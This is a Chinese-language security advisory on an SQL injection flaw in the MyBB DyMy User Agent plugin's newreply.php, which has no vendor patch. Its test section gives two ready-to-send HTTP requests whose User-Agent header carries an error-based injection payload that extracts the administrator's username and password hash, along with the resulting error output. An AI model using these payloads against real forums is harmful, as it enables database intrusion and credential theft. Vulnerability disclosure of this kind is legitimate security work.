MyBB DyMy User Agent插件SQL注入漏洞


发布日期:2012-12-13
更新日期:2012-12-17

受影响系统:
MyBB dymy-user-agent
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56931

DyMy User Agent插件可以根据用户代理字符串在帖子内放置小型浏览器和OS徽章。

MyBB DyMy User Agent 插件(newreply.php)没有正确过滤用户输入的User-Agent字段,存在SQL注入漏洞,远程攻击者可利用此漏洞非法操作数据库。

<*来源:JoinSe7en
 
  链接:http://www.exploit-db.com/exploits/23359/
        http://osvdb.org/88439
        http://secunia.com/advisories/51565/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

获取管理员用户名:
POST http://localhost/mybb/newreply.php?ajax=1

HTTP Headers:
Host: localhost
User-Agent: ' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)); #

输出:

SQL Error:
1062 - Duplicate entry 'admin1' for key 'group_key'

获取管理员密码:
POST http://localhost/mybb/newreply.php?ajax=1

HTTP Headers:
Host: localhost
User-Agent: ' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)); #

输出:
SQL Error:
1062 - Duplicate entry '098f6bcd4621d373cade4e832627b4f6' for key 'group_key'

建议:
--------------------------------------------------------------------------------
厂商补丁:

MyBB
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://mods.mybb.com/view/dymy-user-agent

相关内容